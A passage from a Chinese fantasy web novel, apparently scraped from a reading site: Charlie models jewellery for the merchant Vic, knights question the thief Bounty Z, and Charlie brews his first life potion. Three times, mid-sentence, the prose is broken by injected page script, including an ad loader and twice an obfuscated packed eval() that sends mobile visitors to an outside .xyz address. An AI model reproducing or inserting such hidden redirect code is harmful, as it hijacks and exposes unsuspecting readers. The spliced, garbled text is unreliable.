比起关心查理的身体,她显然更关心那辆华丽的马车和坐在马车里的人,以及他们是怎么认识的。 查理直说是在黑甲骑士团碰上的,挑拣着说了些无关紧要的内容,语速缓慢,苍白、忧郁,哪怕接到了新工作,依旧无法展颜。 麦肯太太看着他,眼神中充满怜爱。 第二天,新的流言又开始在灰帽街流传。 哦,可怜的查理,当不成魔法师,炼金术又烧钱,这都被黑心商人给盯上了。路过的狗都对查理投以同情的目光。 听说那些大商人,一个个心都脏得很。 杰弗里甚至跑来劝查理,“要不去别的地方试试?虽然这里是魔法圣都,可托托兰多那么大,这里没有机会,别的地方兴许有呢!” 查理坚强地婉拒了他,“杰弗里,不用担心,我没事。” 杰弗里感动莫名。 这是多么信念坚定的一个人啊,无论遇到多少挫折、多少冷眼,都能一如既往、不失初心。他就知道,他没有看错人。 “查理,千万不要逞强,如果有什么需要帮忙的地方,一定要告诉我。我虽然只是一个小小的鞋匠学徒,但也已经攒到一些钱了!”杰弗里抬手按在查理的肩上,坚定的目光像在拜神。 查理因此受到了良心的谴责,再三跟他保证,自己只是去做一份正经工作。 杰弗里狐疑,“真的吗?” “咳,真的。”查理别过头,感受到正午刺眼的阳光,装作不经意间扯开话题,“到正午了,你急匆匆跑来,还没有吃饭吧?正好我也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饿了,我们去莉莉屋怎么样?” 听到莉莉屋这个名字,杰弗里忍不住咽了口唾沫。他最近可太忙了,已经很久没有吃莉莉屋的蜂蜜面包、乳酪蛋糕、纽卡托和樱桃布丁了。 哦对了,听说莉莉屋又出了新品,因为黑森林里的浆果成熟了! 两人遂转战莉莉屋,店主的女儿黛西小姐今天也在这里,系着碎花的头巾,耳朵上垂下两朵新鲜的路边采摘的野雏菊,系着围裙在店里穿梭的样子,美得很有生命力。 一上午过去,店里人来人往的,她显然也听说了街上的传闻,因此对查理投以关切的目光。 “好久不见,查理,今天要来点什么?”善解人意的黛西小姐不会随意提及那些捕风捉影之事,而是惯常地给他们推荐了店内的新品,再自然而然提起了店里要招新人的事。 杰弗里一边迫不及待地把浆果布丁往嘴里塞,一边大点其头,“在莉莉屋做事,也很不错啊!” “感谢你,黛西小姐。”查理也跟着点头,嘴角笑起来,眼中的郁气都淡了许多。杰弗里和黛西,是这条街上对他最为纯粹和诚心的人,平时说不上来往多密切,但总能说上几句话,也乐于提供帮助。 不过,他还是拒绝了,认真地解释道:“那位珠宝商人认识明多塔的传奇大法师,我在他那边做事,就有机会见到对方。这是一个千载难逢的机会,我不想错过,而且他给的佣金也足够丰厚。我们还是在黑甲骑士团认识的,应该不会有什么大问题。” 听到他这样说,杰弗里和黛西对视一眼,就知道劝不了了。不过要真像查理说的这样,杰弗里觉得,确实是一个好机会。 黛西又问了工作内容,听到是做珠宝模特,眸光微亮,“那这位珠宝商人可真没选错人。” 说曹操曹操到。 来接查理的马车到了,大约是抵达松塔时没找到人,又一路找了过来。车夫还是昨天那位,恭敬地跟查理问好,礼数很足,但片刻不耽误。 最终,查理在杰弗里和黛西关切又担忧的目光中,坐上了马车。 与此同时,萨洛蒙的脚步急匆匆地走过向下的台阶,步入地牢。 他像一阵冷厉的风刮过坚实的牢房,守在牢房门口的乔治看到他过来,连忙为他打开门,并致礼:“队长!” 牢里的人听到动静,缓缓抬起头来,露出脏兮兮的、稍显平庸的脸。 萨洛蒙开门见山,“你是赏金Z?” 牢里的人还没说话,乔治先惊讶出声,“什么?赏金Z?那个已经销声匿迹了的传奇盗贼?她不是一直住在灰帽街,是一个靠坑蒙拐骗为生的集市上的智——” 电光石火间,乔治想到了他们在城主府查到的线索。 库房不是第一次失窃了,而是被反复光顾了很多次,最后才被人知晓。对方手段高明,且不是一般的高明。这就意味着,智者绝不是普通的盗贼。 如果是那位常年在赏金排行榜上的传奇盗贼,那就说得过去了。可这样的人物竟然隐居在玛吉波,成为了一个小小的坑蒙拐骗的民间智者吗? 天呐。 “你到底偷了多少东西?”乔治忍不住继续发问。 “这不应该问你们吗?”智者,更准确地说是赏金Z,也不装了,稍稍坐直了身子,眼神的变化让那张看似平庸的脸,都变得不平庸起来。 萨洛蒙深深蹙眉,“你蛰伏多年,为什么突然出手?是有人给你下了委托?幕后的人是谁?” 赏金Z微微一笑,“守护玛吉波是你们黑甲骑士团的职责,但不轻易透露委托人的名字,也是我的职业操守。” 萨洛蒙:“理发师又是谁?” 赏金Z反问:“你们把他也抓了?” 答案是没有。 赏金Z轻而易举地看破了这个答案,嫌弃地摇摇头,“看来你们并非是从他那里得到的有关于我的消息,让我猜猜,是从佣兵工会?还是我的老熟人?我一出现,很多人大概都坐不住了,尤其是我的仇家。” “什么委托那么重要,让你不惜暴露自己?你不怕他们来杀你?”萨洛蒙记得,赏金Z销声匿迹的重要原因之一,就是遭到了仇杀。 “可我现在不是已经在你们的周全保护之下了吗?难道说,大名鼎鼎的黑甲骑士团,还保护不了一个盗贼?”赏金Z摊手,身上的锁链随之叮当作响,但她神情闲适,似乎完全不受任何影响。 乔治:“所以你故意被我们抓住的?!” 难怪呢,大名鼎鼎的赏金Z,竟这么容易被他们抓住了。 16.托卡 事实证明,想要从一位传奇盗贼的嘴里知道真相,比追回赃物要难得多。撬不开她的嘴不说,还得被气死。 乔治快步跟着萨洛蒙离开,一边走一边还在嘟囔,“她也就是仗着我们正直、勇敢,又善良!” 要是用上邪恶的魔法手段,再厉害的盗贼,也绝招架不住拷问。可很显然,黑甲骑士团不会这么做,萨洛蒙队长更不会。 恰在这时,萨洛蒙道:“乔治,叫里昂回来。” 乔治下意识地答应,随即反应过来,面露惊讶。完了,刚刚还夸自己正直,现在不正直的要回来了。 “队长,接下来我们怎么查?”乔治追问。 “赏金Z数次光顾库房,那就证明,库房一早就失窃了,甚至远在半月之前。你还记得那时候发生了什么吗?”萨洛蒙神情肃穆。 记得啊,怎么不记得! 海上的船翻了,紧接着城内信徒打架,还波及到了灰帽街。他们赶去镇压时,还发现了魔法残留的痕迹,这次偷盗案一出,又涉及到灰帽街,所以队长早让他们去重新复查了,为此还费尽周折查到了魔法学院。 魔法学院的新生参与过那场斗殴。 他说他路过。 乔治死气,可他们没有证据,又不能把人强行从魔法学院带走,那魔法学院忒护短了。而此时萨洛蒙队长又提起…… “这意味着……”乔治心惊,“意味着可能所有事情都是冲着赃物去的?!” 萨洛蒙鹰眼如炬,遥望着城中的某个方向,“乔治,马上按我说的去办,灰帽街那边就交给你们。我要再去一趟城主府。” 城主府在南区,珠宝商人的店铺,则在靠近玛格丽花园的勃肯街上。 当马车驶入这里,周围的风景变幻,花坛里长出了鲜艳的玫瑰,还有蓝色的矢车菊散落其中。这里的店铺也要比灰帽街上了不止一个档次,精致的门头、漂亮的花体字跃然其上。从香水、葡萄酒,再到珠宝,一应俱全。 当然,伟大的魔法圣都,少不了魔法商店。 查理下了马车,还没来得及观察此行的目的地,就被隔壁的魔法商店吸引了目光。这家店叫做“独角兽”,橱窗里摆着各类装饰精美的魔法用具。 一位气质高雅的贵族少女正与同伴说说笑笑地从店里走出来,手里拿着一根镶嵌了宝石的魔杖,身上的披风更是流光晕染。 “等你拿到了酬劳,大约能买下那根魔杖的——三分之一吧。”蓦地,熟悉的声音又在背后响起。 查理的眼睛顿时变成了死鱼眼,淡淡的死气弥漫开来,又被他硬生生压下去。 他就说,他讨厌话多的男人。 “独角兽的背后姓康那里惟士。”维克又自顾自地开始说话。 查理心中一凛,余光瞥见四周没有外人,这才回头看向维克。康那里惟士是皇室的姓氏,玛吉波的城主、那位亲王阁下也来自皇室,他在这里堂而皇之的议论,胆子也很大。 “魔法议会没有意见?”查理的心也在蠢蠢欲动。 “他们得了百分之三十。”维克勾起嘴角,目光淡然地到了眼橱窗里的东西,道:“昂贵的珠宝、黄金,真正能够赋予一根魔杖的,更多的是俗世的价值。赚那些贵族的钱,无论是皇室还是魔法议会,心都不会痛。” 这话查理可不敢接了,他转而看向了珠宝商店的招牌。那上面是一个复杂的单词,并不是托托兰多大陆的通用语,所以即便他接收了原主的记忆,也看不懂。 维克顺着他的目光看过去,道:“这是古语,读作‘托卡’,意为‘不朽的奇迹’。等你以后接触到更多的魔法咒语,就知道了。” 查理心下了然。本教给他的开门咒语就不是托托兰多的通用语,大约跟“托卡”同出一源。难怪魔法已经这么繁荣了,成为魔法师的门槛依旧那么高,语言就是一个问题。 “跟我进来吧。”维克绅士地为查理打开了珠宝店的大门,而查理进去之后就发现,珠宝商店的门头虽然不算大,里面却别有洞天。 进门的第一眼,看见的是一只鹿。 这鹿大约是铜做的,但做工精细,两只鹿角上挂着展示用的珠宝,就连那双眼睛,都是黑曜石。而鹿的上方,则是一盏奢华的水晶吊灯。 越过这只鹿,往里走,视线豁然开朗。羊绒的地毯、纯金的烛台,随处可见的奢华装饰,让人不自觉地放慢脚步,好似重一点,就能让玻璃展柜里的那些珠宝,应声碎裂。 查理自认为不是一个怯场的人,可这场面,还是有些刺痛他穷人的眼了。 他忽然开始担心,佩戴珠宝的时候万一珠宝丢了怎么办,开始亡命天涯吗?还是一不做二不休把维克也关到地下室,然后继承他的财产。 虽然武力值不够,可干掉一个人的方式多种多样。 维克回头,正想跟他介绍今天要试戴的珠宝,就看到查理垂着眸若有所思的模样。那张脸依旧无可挑剔,独特的气质在珠宝面前也毫不逊色,但就是…… 怎么那么像在打什么坏主意? “在想什么?”维克故意走近了一步。 “没什么。”查理猝不及防与他对视,但还是稳住了,“最近我一直在尝试冥想,但没把握住,好像出了点岔子,容易走神。” 维克一时都摸不清他到底是在说谎,还是真话,微微挑眉。恰在这时,通往里间的门开了,一个身穿礼服、戴着纯白手套,头发花白但梳得一丝不苟,还用墨绿色蕾丝缎带扎起来的男人,端着托盘从里面走了出来。 他看到他们的第一眼,便自动忽略了维克,眸光充满惊喜地迈向查理。 “这位就是查理·布莱兹先生吧?”男人已经不再年轻了,大约五六十的年纪,风霜如刀,在他脸上刻下岁月的痕迹,但也赋予了他成熟的魅力。 他瞧着查理,笑得亲切,“主人说他这次终于找到了一位合适的珠宝展示人,我以为他又是在春日的梦里见到了易碎的泡沫,产生了某种幻觉,没想到这玛吉波城里,竟真的还有您这样让人眼前一亮的人物。” 闻言,查理悄悄瞥了眼维克。如果他没听错,刚才这番话,在用那夸张的咏叹调恭维他的同时,还嘲讽了店主人吧? 维克面不改色,“泡沫易碎但是足够漂亮,不是吗?” 男人却好像根本没听到,低头看了眼托盘里的珠宝,似是不满,随即就摇摇头,“不行,不行,这套珠宝还是差了些,您请稍等,我换一套去。” 语毕,他就头也不回地走了。 查理看向维克。 维克耸耸肩,“不用在意。” 我哪儿在意了?该在意的不是你吗? 查理深切地觉得,成为一个合格商人的前提大约就是要先抛弃自己的脸皮,而维克定是其中的佼佼者。 这不,他已经闲适又自然地打开了酒柜,从中拿出酒瓶和玻璃杯来,问查理要喝点什么。 这架势,好似他们是什么聊得来的朋友,而非一方掌握着另一方的把柄,被迫达成了某种地下交易的“狼狈为奸之徒”。 见查理不回话,维克径自为他倒了一杯葡萄酒,递过来,“我敢打包票,他会为你取来那套灵蛇之心。虽说它与你很配,不过喝口酒提提气色,会更好。” 查理接过酒杯,而维克再次闻到他身上传来的若有似无的蜂蜜面包的香味,不由得伸手摸了摸鼻子。 这味道对他来说略有些甜腻,不过若是在北方极寒之地,烤着火吃上一口热的,或许会是个不错的享受。 维克如此想着,给自己也倒了一杯酒,便怡然自得地坐到了沙发上,请查理随意。查理没有乱晃,保持着基本的警戒心,端着酒杯打量着玻璃展柜里的珠宝。 珠宝无罪,就像店名说的那样,它们是——不朽的奇迹。哪怕查理对它们没有多少研究,亦有纯粹的欣赏。 不多时,男人去而复返,那托盘里也换了一套珠宝。他笑着为查理介绍,“这套珠宝,叫做灵蛇之心,由黄金、石榴石、顶级绿松石打造而成,无论是珠宝的成色还是款式,都与您极为相配。” 查理看过去,那是一条“灵蛇衔尾”。黄金的蛇身,石榴石点睛,绿松石勾勒出衔住尾巴的蛇头。与它搭配的,还有血滴状的耳坠,以及同样是灵蛇状的绿松石戒指。 “请允许我为您戴上它。”男人放下托盘,将一只手置于胸前,礼数相当周道,“刚才忘了自我介绍,在下弗兰克,遵从我主人的姓氏。您直接叫我弗兰克即可。” 查理点点头,便放下酒杯,任由弗兰克为他戴上了那条项链。值得一提的是,原主本身就有耳洞,倒是不需要费什么额外的周章。 他记得那是一个温暖的午后,十三岁的查理已经长开了,愈发出色的容貌为他招来了一些麻烦。天真活泼的阿尔芒少爷不知从哪儿得到了一匣子的漂亮珠宝,随手打赏给他们这些义兄弟的时候,嬉笑着用耳环的银针戳破了查理的耳垂。 查理捂着自己流血的耳朵,低着头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702175|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不发一言。 对当时在场的所有人来说,那两个耳洞是查理屈辱的证明,不过查理本人却不这么想。容貌是父母赐予的,他不曾有一刻感到累赘和厌恶;珠宝是无罪的,哪怕浸染鲜血亦绽放着美丽,他只想着,以后离开了就好了。 回忆戛然而止。 弗兰克已经为他戴好了耳坠和项链,他主动拿起戒指戴上,望向了一旁的镜子。维克说的没错,以绿松石和灵蛇为主题的珠宝确实很适合他的金发,以及略显苍白的脸。 “再换一套。”蓦地,背后又响起维克的声音。 查理回头,就看到维克翘着腿靠在沙发上,一只手端着酒杯,一只手抬起放在沙发背上,做着一些无聊点评,“这套不行。” 弗兰克笑眯眯:“为什么不行,我的主人。” 维克:“这套留给别人戴,至于他——换最贵的。” 弗兰克想了想,似是认同了他的话,转身又回去换了另一套过来。这一次他换了一个更大的托盘,隔着十多米远,查理就看到了托盘里那硕大的红宝石。 仔细看一眼是大,再看还是大,以钻石为基底做成的项链,繁复、华丽,下面缀着一圈的红宝石,深刻诠释了一个道理——最贵的就是最好看的。 此时此刻,查理想杀人夺宝的心攀升到了顶峰。尤其是当弗兰克小心翼翼地为他佩戴上珠宝时,他觉得这套珠宝就应该焊死在他身上。 可目前来说,他还做不到。 更忧郁了。 笑容转移到了维克身上,他愉快地打了个响指,“不用试了,就它吧。弗兰克,记下他的尺寸,再给他订一套合适的衣服。” 弗兰克当即拿来了皮尺,给查理量起了尺寸。 查理既然答应了,也没有不配合的道理,乖乖张开双手让弗兰克量尺寸。不过就在这时,维克忽然又像是想起了什么,支着侧脸,说:“你不问问那位吸血鬼刺客的情况吗?” “维克先生愿意告诉我?”查理反问。 “我对我的合作伙伴一向很有诚意。”维克放下酒杯,道:“把他带回来之后,我唤醒了他,并想尽办法从他口中打探消息。” 查理没有说话,静等下文。 维克也不卖关子了,“他潜伏在灰帽街附近,目标正是智者。但很显然,他还没来得及动手,智者就被抓了。当天晚上,有人在店里袭击了他。” 查理微微蹙眉,“谁?” 维克摊手,“他说他不知道,对方做着全副武装,难以辨认。双方打了个平手,再接下去发生的事情,就是你看到的了。” 闻言,查理若有所思。 维克饶有兴致地看着他,问:“对于他的说辞,你信吗?” 信又如何,不信又如何? 吸血鬼刺客的说辞,维克的说辞,交织在查理的脑海里,让他难以分辨出真假,但唯有一点他可以大胆推测:“那个对他出手的人,有可能还在灰帽街一带?” 维克面露欣赏,“没错。” 这就意味着查理先前的推测是对的——灰帽街仍旧潜藏着危险。 维克这么大方地把这件事告诉自己,真的出于对合作伙伴的诚意,善意地提醒,还是另有目的? 查理半点都不相信,维克是出于纯粹的好心,不过所有的怀疑在心里饶了一个圈,到了嘴边,就变了。 他露出了来到这里的第一个笑容,“维克先生,感谢您的提醒。” 水晶灯璀璨的光芒下,红宝石和钻石交相辉映,所有细碎的光都开始变得迷离。维克冲他遥遥举杯,眸光深邃,却不知在想些什么。 等到查理乘坐马车离开,珠宝店里又恢复了平静。 弗兰克收好珠宝,看到维克还坐在沙发上没有动弹,道:“展示珠宝的人都找齐了,房东太太的猎犬也愿意参演。不过,您对这位布莱兹先生透露的信息,是否太多了?” 维克抬眸,“你觉得他会坏事吗?” 弗兰克:“不,他看起来很不错不是吗?他与珠宝是如此的相配,但珠宝是易碎的。知道得越多,越危险。” “也许他并不这么想。”维克笑笑,“再说了,把人放在眼皮子底下看着,才是最稳妥的做法。我相信他还藏着些秘密,只是时机未到。或许,他以后还会给我们带来一些意想不到的惊喜。” 弗兰克有些诧异,“您很看好他?” 维克摩挲着酒杯,意味不明地回答道:“透明的海,马上要起风了。” 17.心分二用 让查理没有预料到的是,接下来的两天,平安无事。 若说唯一的波澜,那就是查理在灰帽街的集市上又遇到了那位圆脸骑士乔治。对方似乎正在巡逻,看到查理,便自然而然地跟他招手。 “听说你在给那个珠宝商人工作?他可不是好打交道的,你别看他面上笑嘻嘻,谁都不得罪,心不知道多黑呢。”乔治搭上了查理的肩,看着查理的眼神略显同情。 灰帽街上的传闻他可听见了,那位珠宝商人半点不遮掩地坐着马车来找查理,据说还带了礼物。要说能找到个酬劳丰厚的工作也挺好的,但在这大城市里,乔治见多了被繁华迷了眼,最终却惨被抛弃的例子。 无论是被人抛弃,还是被城市抛弃,亦或是死于某个不起眼的魔咒。 尤其是像查理这样的。 乔治近距离看着查理那张白皙得近乎没有瑕疵的脸,再次感叹造物主的偏心。末了,又咳嗽一声,鬼鬼祟祟地往四周看了几眼,压低了声音道:“他找了不止你一个人,估计是把能拿得出手的宝石都拿出来了。玛格丽花园的贵族老爷和太太们,几乎都收到了他的邀请,据说连魔法学院的人都会去。” 查理表现出诧异,“一个珠宝商人……有这么大的人脉吗?” 乔治清了清嗓子,“这你就不知道了吧,他拿得出那么多珍贵珠宝,来头铁定不小。我听人说,他在帕托城那里有矿。去年底的事你没听说吗?” 去年底? 查理那时还没穿越呢,而整个勋爵家都在为阿尔芒少爷的成人礼做准备,原主也在忙碌中焦急、又满含期待着成年后的生活,压根没时间去注意外面的事情。 查理诚实地摇摇头,眼中满是茫然。 乔治更担忧了,这一根筋想要成为魔法师的家伙,偏生长了这样一张脸,真的不会把自己搭进去吗? “是魔法矿脉啊,那边据说发现了一条新的伴生魔法矿脉!” 查理差点惊呼出声,好在乔治及时制止了他,“嘘,小声点儿。这消息是真是假也不能确定,最后说是落在了一个神秘的大商人手里,但这个人的名字,也没有流传出来。帕托城的珠宝商人虽然个顶个的心黑,但只要宝石协会不想要一点风声透出来,那就一定是个无风日。” “我明白了,这个人有可能就是那位维克先生,是吗?”查理问。 乔治点头,“所以那天的宴会一定不简单,心怀鬼胎的人多着呢。为了安全着想,你还是别去了,要是不知道怎么去说,我可以替你出面。” 说着,他拍拍胸口,盔甲被他拍得啪啪作响,以示他身为骑士的正直与可靠。 “谢谢你,乔治。可我已经答应维克先生了,不能食言,况且……况且那里会有魔法师前来是吗?我想去看看。”查理看着乔治的眼,说道。 乔治在心里叹气,这查理,看着很好欺负的样子,性格倒是万分执拗。不过执拗从某种程度上来说,也可以叫做坚韧,至少萨洛蒙队长非常欣赏这种品质。 “那你可要小心点。这样吧,万一有什么事情,你可以去黑甲骑士团找我。”乔治语气轻快,咧嘴笑了笑,也不想让查理的心情太过沉重。 “好。”查理答应下来,末了,又问:“那位智者的事……有结果了吗?” “你很想知道?” “灰帽街上的大家都很想知道,麦肯太太她们昨天还说起她。” 乔治便摆摆手,道:“有赃物至今还没有追回来呢,还有得查。时间不早,我得走了,下次见啊查理!” 查理望着他离去的背影,站在原地停留了一会儿,这才转身慢吞吞地继续采买。他是来买晚餐所用的食材的,他听人说,今天有新鲜的野兔肉。 量大,还便宜。至于吃了会不会更忧郁,那就听天由命吧。 另一边,乔治大步流星地离开了集市,走进了一条小道。狭窄的石巷仅容一人通过,巷道的尽头的光亮里,一个身着华服但皱皱巴巴,胡子也长得充满野性的男人,正抬起一只脚,招呼弯腰的擦鞋匠。 擦鞋匠点头哈腰地喊着老爷,满脸笑容地请他坐下,为他擦鞋。 “你又在这里偷懒,小心萨洛蒙队长来抓你!”乔治走出去,叉着腰,对他横鼻子竖眼的。 “你不告诉他不就行了?”那人抬起头来,露出一双与那身打扮格格不入的含笑的狐狸眼,“见到那人了?” 乔治看了眼擦鞋匠,没有回答。 那人便耸耸肩,道:“我猜你无功而返。” 乔治不解,“为什么要让我去说那些话?” 那人自己挑起了话题,却又伸出一根手指抵在唇上,示意他闭嘴。等到鞋子擦完,他在老鞋匠受宠若惊的目光中丢下一枚银币,迤迤然离开。 乔治跟上去,“到底为什么?” 那人插着兜,走得慢悠悠,“那个查理一看就是个固执的人,你越劝他不去,他越是会去。萨洛蒙太古板了,他那样的查法,怎么斗得过那群老狐狸?” 乔治蹙眉,“那你让我去找查理做什么?萨洛蒙队长斗不过,那查理又斗得过了?他甚至都不是魔法师!” 那人:“不要小看了任何一个普通人,乔治。他能被那位珠宝商人看中出席宴会,就有他的独到之处。” “这难道是什么好事吗?”乔治的目光充满警惕,“他不光被那个维克盯上,现在又被你盯上,是倒霉还差不多。别忘了至高无上的骑士守则,里昂副队长,我虽然答应你去跟他搭个话,但你要是真的做出什么违背守则的事情,我可是会告诉萨洛蒙队长的!” “好好好,我听见了。”被叫做里昂的男人无奈地掏了掏耳朵,“但是你忘了吗,乔治,理发师出事的时候,附近停了辆马车,这个消息还是查理提供给我们的。而现在,我们怀疑那辆马车可能是维克的。那天晚上他与他那位老管家,都不在珠宝商店,也没人知道他们去了哪儿。” 乔治心中一凛。 里昂又道:“所以你怎么知道,我盯上查理,不是在保护他呢?让他对维克多一分提防,不好吗?” 与此同时,查理回到了松塔五楼的炼金实验室。 炼制基础炼金药剂的材料,有一些在集市上就可以买到。这些材料大多在药剂中起辅助作用,价格不贵,正适合拿来练手。 “噗……” 小小的坩埚冒起白烟,第六份材料,宣告作废。 本的胯骨肘子连退三米远,站在墙边远远看着查理,不解地问:“你怎么又失败了呀?” 天真的语气,扎心的问题。 不过本不是故意的,在他看来,查理真的是一个很专注很有毅力的人,这样的人竟然会频频走神频频失败,太奇怪了。 查理静下心来,回答道:“我在尝试心分二用。” 本更疑惑了,“为什么?不是应该保持专注吗?” 查理反问:“如果你在炼金的时候,突然遭到骷髅大军突袭呢?他们可能会从壁炉里钻出来,或是从地底。” “啊?为什么会有骷髅大军来突袭啊?” “我也不知道。” 查理只是觉得,有备无患。 谁知道以后他会不会在使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13715283|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用魔法的同时,还同时启动炼金法阵?也许一只手还藏在背后,预备着冷不丁给人一搬砖。 有备无患,总是好的。 其实他惯常走意识流。 从小到大,他都很容易走神,直到走上绘画这条路,依旧如此。他画着画着,眼睛还停留在画上、在眼前的风景上,思绪就开始离家出走。他会继续作画,不需要太多思考的过程,线条和色彩便跃然纸上。 这样出来的画作,往往很抽象,不论是多写实的画作,线条都开始脱离常规的束缚,色彩运用往往也更大胆。 有的老师喜欢他的画,也有人贬斥,但他不在意。 思绪离家出走的时候,他好像去奔赴了一场奇幻的冒险,这样的感觉还不错,但他无意向任何人阐述或分享这段冒险的经过。 说回到炼金,它的过程与作画还是不太一样。如果说作画的时候,查理可以分成两个“我”,一个是抽象的,另一个还是抽象的,两个“我”并不冲突,所以从未出过问题。 但炼金更需要精准,一个“我”可以是抽象的,但另一个必须是理智到客观的,两个矛盾的“我”无法达成统一,所以他会失败、失败,再次失败。 他又想起了阿耶冥想法的第一步: 闭上眼,忘记自己的存在,让“我”与“宇宙”达到重合统一。 宇宙广袤,本就包容万物。不论是抽象还是客观,都应同时存在,且和谐自洽。 “你能懂吗?”查理向本如是阐述着他的思想,而本只觉得为何要搞这么复杂。他的骨头有206块,但他从来不数,也从来不去想自己丢了哪一块、哪一块又在哪里。 人类,复杂、难懂,但人类一旦变成骷髅,简单、快乐。 于是,本再次向他发出邀请,“你真的不考虑烧一烧自己吗?” 查理也不知道自己的问题为何会得到这样的反馈,愣怔数秒,答曰:“留着给我的仇人烧吧。” “为什么要烧他们?肮脏的仇人不配用灵魂之火去燃烧。” “普度众生,积阴德的。” “阴德?”胯骨肘子又听到了什么奇奇怪怪的词,想不明白,于是开始找自己的头。他的头也听不懂,骷髅头骨碌碌地在烟囱里往下滚,滚过头了,楼下厨房里顿时传来哐啷的声响。 查理一听就知道是锅翻了,他新买的锅。 他再看一眼本,很好,锅翻了,罪魁祸首还又自闭了。 “你知道我刚才心分二用的时候,在想什么吗?”查理拿起一株草药,他需要将这株草药捣碎,将汁液提取出来,再融入鸭子的血,进行高温蒸馏。最后得到的液体,就是纯净的可以用来制作药剂的原材料之一。 这个过程,用纯物理手段可以,譬如使用炼金实验室内的那些仪器,但过程繁琐。用魔法手段也可以,那就是使用炼金台,直接完成物质转换。 后者当然更方便,不过以查理目前的魔法水平,只能坚持三次,他也不急着用炼金台。 自闭的本面朝着墙壁,独自阴暗,不肯回答。于是查理平静地开始捣药,“我在想,粉红小猪骑士为什么又来找我。” “我很在意。” “这灰帽街,越来越神秘了。” “一个小偷偷走了东西,一个刺客盯上了小偷。小偷被抓了,刺客被袭击了,袭击者是谁?正义的骑士又将何去何从?” 蓦地,查理后颈一凉,思绪到这里戛然而止。他停下手里的动作,缓慢转头,看向了窗外。 一双碧色的竖瞳盯着他。 那是邻居家的猫。 18.炼金与筹码 “喵。” 异乡的来客又在窗后窥探。 他看着翘尾巴的猫跳下窗台,灵活地翻越屋脊,迈着优雅的步伐走远;他看着远方飞过白鸽,推开窗,风中传来了悠扬的乐曲声。 似乎有流浪的吟游诗人抵达了橡树酒馆,正在用音乐换酒喝。他有魔法的琴,可以弹奏勇者的歌谣。 视线往下,街边的几个小孩儿正在玩投石子。黑色的石头代表恶魔,白色的石头是天使,画一个圈,就是降魔圈。 天使与恶魔在圈子里争斗,几个孩子扔着石头,吵嚷着正义。 今日的灰帽街,又是平静但又不平静的一天。 查理总有种被人窥视的感觉,而这条灰帽街,平静之中也似乎总有隐秘在流淌。这种感觉有时让人芒刺在背,但有时,又带来一丝仿佛过电般的、隐匿在皮肤之下的兴奋。 兴奋什么呢?查理从未觉得自己是个如此热爱冒险的人。 一个冒险者应该具备什么样的品质? 首先,他得有一瓶药。 出门在外,难免受伤,高阶的魔药难以拥有,最基础的生命药剂总得备一瓶。查理收收心,回去继续他的炼金实验。 炼制一瓶生命药剂的材料他已经备齐了,而且是复数的,足以允许多次失败。 所以是时候启用炼金台,开始炼制一瓶真正的炼金药剂了。 这个过程并不复杂,根据《炼金笔记》上说的,他只要把材料一一对应,放到炼金台的指定位置,用魔力驱动炼金法阵,等待物质转换结束即可。 可真正操作起来,查理就知道这里面的难度了,堪比张飞绣花。 炼金与炼丹,有异曲同工之妙。 托托兰多的炼金术士们什么都往配方里加,那帮牛鼻子老道也一样。加着加着,丹炉炸了,火药就有了。 艺术的真谛在于爆炸。 “砰!”法阵弧光带闪电,魔力运转不畅通,阵纹仿佛短路,转瞬间就能给查理一点颜色瞧瞧。 唯一值得庆幸的是,这是一座货真价实的法师塔,炼金实验室里发生的一切声响都会被隔绝。 “冒、冒黑烟了。”本被这声音从自闭状态惊醒,发出惊讶的喟叹。 “不打紧。”查理淡定地把报废的材料扔进旁边的垃圾桶,一边收拾桌子,一边问:“你觉得,我有炼金的天赋吗?本。” “啊?我、你……啊……” “我觉得我有。” 不得不说,查理喜欢爆炸。方才的失败并未给他的心蒙上阴影,反而让他琢磨出一点技巧来,再次进行尝试。 果然,第二次他就成功了。拿出透明的玻璃药瓶,将悬浮在炼金台上方、被光芒包裹的药液装进去,一瓶基础的生命药剂就制作完成了。 本看着查理脸上露出的一抹笑容,思绪有点卡壳,愣愣的,半晌没有说话。他其实已经忘了怎样才算是有天赋,要失败几次?成功几次? 但是看着查理轻飘飘地说,他觉得他有,然后他就做到了的时候,本忽然觉得——这些都不重要。 “你真厉害。”本有点开心。 “多谢夸奖。”查理将药瓶放在灯光下看,透明的药液几乎没有什么杂质。他自己没办法给药剂评定等级,但他想,这瓶药的品质应该还不错。 思及此,查理的眸中闪过一道暗芒,没多迟疑,便将药剂一饮而尽。 本都惊呆了,“你、你你——” 查理平静地将空了的药剂瓶放下,问:“我怎么了?” “你不怕药剂有问题吗?主人说过,初学者的药剂要么纯净度不够高,药效差,要么会有副作用,好可怕的,手臂上长绿毛!” 查理被他描绘的副作用逗笑了,而这时,药剂也开始发挥它应有的效用。查理只觉得一股温暖的力量顺着血液开始流淌,让他的身体前所未有的轻盈。 他下了楼,回到卧室,站在镜子前看着镜中的自己,发觉面色都红润了不少。 “怎么样?”他问。 本的肋骨一直在床底下自闭,闻言,忍不住从里面滚出来,小声地回答道:“很好看。” 听到这样的回答,查理的心情还算不错。 他看了眼窗外的暮色,脚步轻快地下楼倒垃圾、做晚饭。 